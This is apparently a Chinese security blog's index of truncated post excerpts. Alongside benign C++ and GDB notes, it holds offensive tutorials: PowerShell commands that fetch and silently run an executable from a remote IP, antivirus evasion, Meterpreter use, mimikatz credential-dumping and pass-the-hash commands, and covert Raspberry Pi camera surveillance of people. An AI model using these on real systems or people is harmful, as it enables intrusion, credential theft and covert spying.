cats topics:>=5 匹配含有 “cats” 字样、有 5 个或更多主题的仓库。
<n
cats size:<10000 匹配小于 10 KB 的文件中含有 “cats” 字样的代码。
<=n
cats stars:<=50 匹配含有 “cats” 字样、星标不超过 50 个 ...
解决安卓单向/双向认证导致无法抓包
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
本文思路来着公众号小和尚的安全之路,菜鸡的我周天面试被社会毒打了一顿,问了双向认证问题,但是这玩意我没接触过,刚好今天看到一篇文章,学习一下
首先准备工作
XposedInstaller(Xposed安装器)
JustTrustMe(禁用SSL)
ida pro(静态逆向程序)
JEB(apk解包程序)
test.apk(目标程序)
所需文件位置下载
1https://github.com/Ascotbe/virus/blob/master/HttpCertificate
解决单向认证安装Xposed框架刚开始安装好APK是显示框架未安装的
点击这个安装
xuanz安装
接着点击安装
然后从起后就能看到安装成功了
安装JustTrusMe模块
点击左上角的菜单
然后选着模块
勾选就好了,这样就解决了单向认证,可以绕过客户端校验了
解决双向认证我们来把目标程序抓个包
可以看到服务器显示为400, ...
利用系统组件远程下载木马
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言我知道上篇文章没有写完,但是把看到什么学什么,要终结的嘛你说是吧(ps:后续有其他方法也会更新到这里的
Windows命令行自带工具PowerShellPowerShell是一种跨平台的任务自动化和配置管理框架,由命令行管理程序和脚本语言组成,与大多数接受并返回文本的 shell 不同,PowerShell构建在 .NET公共语言运行时 (CLR) 的基础之上,接受并返回.NET对象,这从根本上的改变引入了全新的自动化工具和方法。
远程下载文件到本地:
1powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.183.138:8000/test.txt','test.exe')
直接把文本转换为exe文件运行,无残留文件
1powershell -nop -w hidden -c &qu ...
PE解析器
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言之前为了学习PE结构知识恶补了一下相关文章,然后使用010 Editor这个软件也可以完整的读取出PE的结构和字段,但是这都是别人写好的,自己没有玩过一遍的东西都不叫学过,那只能叫见过所以就有了这篇文章,各位看官别急需要几天时间才能搞定,毕竟还不熟悉如果有哪里写错了,忘各位斧正!(PS:当前代码输出不够美观后期会修改)
使用环境
Visual Studio 2019 (宇宙最强编译器
windows 10
前置知识恶意程序研究之PE结构梳理
获取文件映象首先介绍下内存映射文件技术作用
使用内存映射文件来访问磁盘上的数据文件。这使你可以不必对文件执行I/O操作,并且可以不必对文件内容进行缓存.
可以使用内存映射文件,使同一台计算机上运行的多个进程能够相互之间共享数据。windows确实提供了其他一些方法,以便在进程之间进行数据通信,但是这些方法都是使用内存映射文件来实现的,诸如使用SendMessage或者Po ...
木马绕过虚拟机
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言新篇章开始了,主要讲一些探测沙盒以及编译工具的方法,之前我写的那个勒索病毒用到的大部分方法我都会总结到这里,也会参考一些师傅的文章,算是一个巩固吧,最后会把所有代码上传到GitHub中,之前免杀里面说的一些像加密之类的操作这里就不在重复写了。
这是半成品,还有几个代码没敲完,还有点瑕疵
从编译角度来看免杀全篇文章以免杀中的VirtualAllocPlanA作为基础例子来验证我们的猜想,
删除链接库有些反病毒软件会识别链接器中的问题,如果说xxx.lib这些编译器会自动帮我们加上,如果把链接器选项中的其他依赖项删除掉(尤其是kernel32.lib),某些反恶意软件引擎就不会把生成的可执行文件标记为恶意的。
这是系统自带的附加依赖,我们生产后放到TV中查杀看看
可以看到免杀率为28/72
接着把附加依赖项删除了,重新生成
可以看到我们绕过了5家杀软,免杀率23/72
知道PE原理的小伙伴可能会 ...
Meterpreter后渗透常用命令
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言写免杀的时候在想,msf连上后能干啥?之前只有大概的了解下,具体没怎么实操,后面把之前写的文章过了一遍,然后谷歌了一下发现还有好多不知道的地方借此删除了去年写的那篇文章合并到了一起,本篇会持续更新,如果看到师傅们有什么新奇的操作都会记录下来
Metasploit体系框架
文件目录解析核心文件包括data、modules、scripts、tools、plugins
data该文件里常用的的功能在wordlists(字典)里面
modules该文件夹里包括了msf最核心的几个文件
123456auxiliary(漏洞辅助模块一般是没有攻击载荷的漏洞攻击)Exploits(渗透攻击模块)st(开发模块)pads(漏洞负载模块)Encode码器模块)Nops(空指令模块>
scripts该文件夹里面包含这各种脚本
tools该文件夹中存放着大量的使用工具
plugins该文件夹放着大量插件
系统命令基本系统命令1234 ...
自定义ShellCode
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言终于写完了,应该挺详细的,奥利给
环境配置讲解当前项目使用的vs2019,其他vs编译器都可以
清除多余的函数首先创建一个项目,然后什么配置都不修改使用release生成如下代码
1234int main(){ return 0;}
然后我们把生成的exe文件放到ida里面去可以看到下图,明明我们什么函数都没有加为什么会多出这么多函数呢?
其实这些函数都是vs编译器自动帮我加进去的,我们的代码段加上这些函数就组成了一个PE文件
位置:项目->配置属性->高级->入口点中添加MyMian字段,这个字段可以随意修改
接着我们把原先的代码替换为如下代码,然后重新生成
12345int MyMain(){ return 0;}
可以看到多余的函数都不见了
禁用安全检查上面是不是还有一个多余函数,该函数是用于安全检查用的,我们一样可以关闭它。
位置:项目->配 ...
mimikatz使用说明
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
只记录自己用过的命令
常用的命令
常规抓hash
12privilege::debugsekurlsa::logonpasswords
注册列表抓hash
123reg save HKLM\SYSTEM SYSTEMreg save HKLM\SAM SAMlsadump::sam /sam:SAM /system:SYSTEM
PTH登录
12sekurlsa::pth /user:administrator /domain:ascotbe.com /ntlm:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXdir \\10.0.0.1\c$
procdump
有些情况下🥝是无法抓取到hash的,会提示ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)错误,可以使用procdump64+mimika ...
利用树莓派来监听任务目标(下)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
距离上次的上篇已经过去了小半年时间了,真的不是我咕咕了,是因为自己挖的坑有点多,本片文章主要介绍的是如何对人脸进行检测和检测后的通讯方式,树莓派zeor w性能有点更不上所以我又买了4B(小声BB可能还有终篇
硬件清单
读卡器以及 SD 卡
树莓派官方摄像头一枚(夜视版
树莓派4B
电源(实际场景需要装个充电宝或者使用定制的电源)
监听模块(如果想要带上声音可以装个)
安装python-opencv
更新树莓派系统在这之前记得话pip源 、apt源、系统更新源换成国内的,并且使用树莓派4并且刷入最新版的包,刷入包的哈希值
SHA-256:c9c382b659bd96b859ccb9e2ac0c2292a91a37c286ab464f2f380d451077663d
12sudo apt-get updatesudo apt-get upgrade
安装python-OpenCV在这之前还需要把系统自带的 ...
Windows PE结构解析
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言不管你是逆向领域,还是开发领域,异或是病毒编写者(红蓝对抗),都需要对PE文件有详细的了解,由于自己是个菜逼然后需要用到修改PE结构来达到某些免杀的操作,既然这样我就祭出菜逼大杀器Google百度来自行学习,本篇文章主要都是摘抄各位师傅们的文章,加上菜逼我的理解混合在一起的,如果有哪些地方理解错了或者填错了请各位师傅斧正!!
总体介绍可执行文件(Executable File)是指可以由操作系统直接加载执行的文件,在Windows操作系统中可执行文件就是PE文件结构,在Linux下则是ELF文件,下面这张图就是PE文件格式的图片(来自看雪),非常大一张图片,其实PE格式就是各种结构体的结合,Windows下PE文件的各种结构体在WinNT.h这个头文件中,可以在VS(宇宙无敌第一编译器)中查询。
PE文件整体结构PE结构可以大致分为:
DOS部分
PE文件头
节表(块表)
节数据(块数据)
调试信息
依旧用看雪的 ...
C++命名规范
前言首先命名要可读,这是所有规则的公理!!!!!尽可能使用描述性的命名, 别心疼空间, 毕竟相比之下让代码易于新读者理解更重要. 不要用只有项目开发者能理解的缩写, 也不要通过砍掉几个字母来缩写单词。本篇作为学习笔记,约束自己
文件命名文件名全部都要小写并且包含下划线(_)
可接受的文件命名示例:
my_useful_class.cc
http_server_logs.h
C++ 文件要以 .cc 结尾, 头文件以 .h 结尾. 专门插入文本的文件则以 .inc 结尾
通常应尽量让文件名更加明确. http_server_logs.h 就比 logs.h 要好
类型命名类型名称的每个单词首字母均大写, 不包含下划线: MyExcitingClass, MyExcitingEnum.
变量命名
普通变量命名
单词全小写并且用下划线(_)隔开,和文件命名类似,必须要让命名可读,并且明确。
12string table_name;string user_name_read;
类数据成员
再普通的变量名前面加上c_作为开头
123456class TableInfo { .. ...
免杀基础
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言踩着大佬们的脚步,用自己蹩脚的C++功底复现了师傅给出的一些免杀方案。后续将给出自己的两个免杀方案,复现大佬们的这几个方案用了3天时间,我真的是菜的可怜。
生成ShellCode的方法
使用msfvenom生成的ShellCode
使用参数说明
123456789101112131415-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all-p, --payload <payload> 要使用的有效载荷-f, --format <format> 输出格式,输出的语言类型-e, --encoder <en ...
利用树莓派来监听任务目标(上)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
“黑客”注重的是隐蔽高效的攻陷目标,那么前期的信息收集,以及踩点就是非常重要的了,如何使用树莓派来”监控”目标对象?
当你想知道某个地方的他在做什么?想要知道家里面是否进了小偷?
家里的那个她是否给你带了绿帽子?(写到这里我哭了出来,为什么我没有女朋友!哇~)
硬件清单
读卡器以及 SD 卡
摄像头一枚
SSH连接工具
域名一个
带公网服务器一台
电源(实际场景需要装个充电宝或者使用定制的电源)
监听模块(如果想要带上声音可以装个)
成品图是这样的
刷系统以及换源之类的可以看我另一篇文章,这里就不做其他概述了!
开启摄像头模块
进入配置中
1sudo raspi-config
选择Interfacing Options
接着选择Camera
然后他问会问你是否同意使用pi camera,选择是重启就好了
重启后查看监控模块是否开启了,如何和乡土一样就表示没问题了
1ls -al /dev/ ...
GDB详细使用介绍
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
使用GDB启动123SH$ gdb program # program是你的可执行文件,一般在当前目录$ gdb program core # gdb同时调试运行程序和core文件,core是程序非法执行产生的文件$ gdb program pid # 如果你的程序是一个服务程序,那么你可以指定这个服务程序运行时的进程ID。gdb会自动attach上去,并调试他。program应该在PATH环境变量中搜索得到。
运行123456789101112131415161718SH(gdb) r/run # 开始运行程序(gdb) c/continue # 继续运行(gdb) n/next # 下一行,不进入函数调用(gdb) s/step # 下一行,进入函数调用(gdb) ni/si ...
C++正则规则
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
常用的元字符:
.: 匹配除\n之外的任何单个字符,若要匹配包括\n在内的任意字符,需使用诸如[\s\S]之类的模式;
^:匹配输入字符串的开始位置,不匹配任何字符,要匹配^字符本身,需使用\^;
$:匹配输入字符串结尾的位置,不匹配任何字符,要匹配$字符本身,需使用\$;
*: 零次或多次匹配前面的字符或子表达式,*等效于{0,},如\^*b可以匹配b、^b、^^b、…;
+: 一次或多次匹配前面的字符或子表达式,等效于{1,},如a+b可以匹配ab、aab、aaab、…;
?: 零次或一次匹配前面的字符或子表达式,等效于{0,1},如a[cd]?可以匹配a、ac、ad; 当此字符紧随任何其他限定符*、+、?、{n}、{n,}、{n,m}之后时,匹配模式是非贪心的。非贪心的模式匹配搜索到的、尽可能短的字符串 ...
c++ new和malloc的区别
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
1. 申请的内存所在位置new操作符从自由存储区(free store)上为对象动态分配内存空间,而malloc函数从堆上动态分配内存。自由存储区是C++基于new操作符的一个抽象概念,凡是通过new操作符进行内存申请,该内存即为自由存储区。而堆是操作系统中的术语,是操作系统所维护的一块特殊内存,用于程序的内存动态分配,C语言使用malloc从堆上分配内存,使用free释放已分配的对应内存。
那么自由存储区是否能够是堆(问题等价于new是否能在堆上动态分配内存),这取决于operator new 的实现细节。自由存储区不仅可以是堆,还可以是静态存储区,这都看operator new在哪里为对象分配内存。
特别的,new甚至可以不为对象分配内存!定位new的功能可以办到这一点:
1new (place_address) type
place_address为一个指针,代表一块内存的地址。当使用上面这种仅以一个地址调用new操作 ...
C++ 获取已安装程序笔记
在Windows系统中,已安装软件的信息都保存在注册表中
那种绿色免安装包还不知道怎么获取
32位系统存在以下两个位置:
12HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\UninstallHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
64位系统在32位系统上多出一处,也就是WOW6432Node的节点下
1HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall
如何区分哪个是补丁哪个是安装程序
1231.如果注册表项下面有"SystemComponent"字段并且值等于1时,表示这是个系统组件,而不是应用软件。2.如果注册表项下面有"ParentKeyName"字段则表示该项是某个分类下的子项,一般情况补丁才会有"ParentKeyName"字段 ...